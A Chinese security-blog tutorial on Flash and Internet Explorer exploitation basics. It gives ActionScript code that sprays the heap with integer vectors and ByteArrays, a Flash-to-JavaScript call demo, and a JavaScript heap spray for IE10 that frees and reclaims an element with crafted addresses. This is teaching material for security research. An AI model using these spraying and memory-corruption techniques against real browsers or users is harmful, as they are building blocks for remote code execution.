1. flash interger vector喷射
环境:Windows7+IE10
/* 1a1b2000 fe 03 00 00 2c aa f8 c9 1a 1a 1a 1a 1a 1a 1a 1a ....,....0...... 1a1b2010 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2020 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2030 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2040 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2050 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2060 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2070 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2080 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ ........ ........ 1a1b3000 fe 03 00 00 2c aa f8 c9 1a 1a 1a 1a 1a 1a 1a 1a ....,....0...... 1a1b3010 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b3020 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b3030 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b3040 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b3050 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b3060 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b3070 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ */ package { import flash.display.*; public class HeapSpray extends Sprite { public var s:Vector.<Object>; public function HeapSpray() { var len:int = 0; var i:int = 0; /* Spray the integer vectors */ this.s = new Vector.<Object>(0x10000); while (len < 0x10000) { this.s[len] = new Vector.<uint>(0x1000 / 4 - 2); for (i=0; i < this.s[len].length; i++) { this.s[len][i] = 0x1a1a1a1a; } ++len; } } } }
2. flash与js交互
test.html:
<html> <script type="text/javascript"> function print() { document.write("66666"); } </script> <embed src=test.swf ></embed> </html>
test.swf
package { import flash.display.*; import flash.external.ExternalInterface; public class HeapSpray extends Sprite { public function HeapSpray() { ExternalInterface.call("print()"); } } }
3. Windows7+IE10 HeapSpray
function fun() { var a = 0; for (a = 0; a < arrLen; ++a) { g_arr[a] = document.createElement('div') }; var b = dword2data(0xdeadc0de); var c = 0x1a1b2000; // inc dword ptr [eax+10h] ds:0023:1a1b2000 while (b.length < 0x360) { if (b.length == (0x94 / 2)) { b += dword2data(c + 0x10 - 0x0c) } else if (b.length == (0x98 / 2)) { b += dword2data(c + 0x14 - 0x8) } else if (b.length == (0xac / 2)) { b += dword2data(c - 0x10) } else if (b.length == (0x15c / 2)) { b += dword2data(0x42424242) } else { b += dword2data(0x1a1b2000 - 0x10) } }; var d = b.substring(0, (0x340 - 2) / 2); try { this.outerHTML = this.outerHTML } catch (e) {} CollectGarbage(); for (a = 0; a < arrLen; ++a) { g_arr[a].title = d.substring(0, d.length); } }
4. flash数据结构
4.1 字节数组结构(flash player 10)
for(var i:int=0; i < 0x90; i+=1){ a[i] = new ByteArray(); a[i].length = 0xfa0; for(var j:uint=0;j<0xfa0;j++) { a[i][j]=0x41 } a[i][0]=0x6e //netf a[i][1]=0x65 a[i][2]=0x74 a[i][3]=0x66 }
本文始发于微信公众号(飓风网络安全):Flash漏洞利用基础
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论